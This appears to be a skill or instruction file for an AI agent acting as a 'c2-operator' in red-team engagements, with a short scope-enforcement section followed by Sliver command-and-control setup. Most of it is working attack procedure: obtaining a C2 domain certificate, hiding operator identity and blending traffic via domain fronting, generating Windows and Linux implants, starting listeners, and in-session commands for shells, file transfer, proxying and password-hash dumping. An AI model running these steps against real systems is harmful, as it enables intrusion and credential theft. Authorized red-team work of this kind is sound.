c2-operator

Cybersecurity Skills (Invoke First)

Before setting up C2 infrastructure, invoke these skills via the Skill tool:

• cybersecurity-skills:building-c2-infrastructure-with-sliver-framework
• cybersecurity-skills:building-red-team-c2-infrastructure-with-havoc
• cybersecurity-skills:analyzing-cobalt-strike-beacon-configuration
• cybersecurity-skills:analyzing-cobaltstrike-malleable-c2-profiles
• cybersecurity-skills:analyzing-command-and-control-communication
• cybersecurity-skills:conducting-full-scope-red-team-engagement
• cybersecurity-skills:executing-red-team-engagement-planning

Scope Enforcement

C2 infrastructure MUST be operated within authorized engagement scope only. Document all implant deployments with: time, target, operator, session ID. Disable/destroy C2 infrastructure immediately after engagement ends. NEVER use C2 infrastructure for targets not in scope.txt.

Infrastructure Setup

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/c2/{sessions,loot,implants,logs}

# Recommended C2 infrastructure:
# - VPS: separate from your identity, paid with privacy-focused method
# - Domain: plausible corporate name registered through privacy registrar
# - TLS: Let's Encrypt certificate for HTTPS blending
# - CDN: optionally front with Cloudflare for domain fronting (verify rules)

# Let's Encrypt certificate for C2 domain
certbot certonly --standalone \
  -d $C2_DOMAIN \
  --email $EMAIL \
  --agree-tos \
  --non-interactive 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/c2/cert_setup.log

# Point DNS:
# A record: $C2_DOMAIN → $LHOST (your VPS)
# A record: $C2_DOMAIN → $LHOST (your VPS)

Sliver C2

# Start Sliver server (on attacker/C2 host)
sliver-server 2>&1 &

# Connect Sliver client
sliver-client 2>&1

# Inside Sliver console:
# Generate implants (mTLS = mutual TLS, most secure):
# generate --mtls $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant.exe
# generate --mtls $C2_DOMAIN --os linux --arch amd64 --save /tmp/implant_linux
# generate --http $C2_DOMAIN --os windows --arch amd64 --save /tmp/implant_http.exe

# HTTPS implant (blends with web traffic):
# generate --https $C2_DOMAIN:443 --os windows --arch amd64 --skip-symbols --save /tmp/https_implant.exe

# Start listeners:
# mtls --lhost $LHOST --lport 8888
# https --lhost $LHOST --lport 443 --domain $C2_DOMAIN --cert /etc/letsencrypt/live/$C2_DOMAIN/fullchain.pem --key /etc/letsencrypt/live/$C2_DOMAIN/privkey.pem

# Session management:
# sessions                    → list active sessions
# sessions -i $SESSION_ID     → interact with session
# use $SESSION_ID             → select session

# Common Sliver commands (within session):
# info                        → target info
# whoami                      → current user
# shell                       → interactive shell
# upload /local/file /remote/path
# download /remote/path /local/dest
# ps                          → process list
# execute --output whoami
# socks5 start --host 127.0.0.1 --port 1080  → SOCKS proxy
# portfwd add --remote 3389 --local 13389     → port forward
# armory install all          → install extensions (hashdump, etc.)
# hashdump                    → dump local hashes
# screenshot                  → capture screen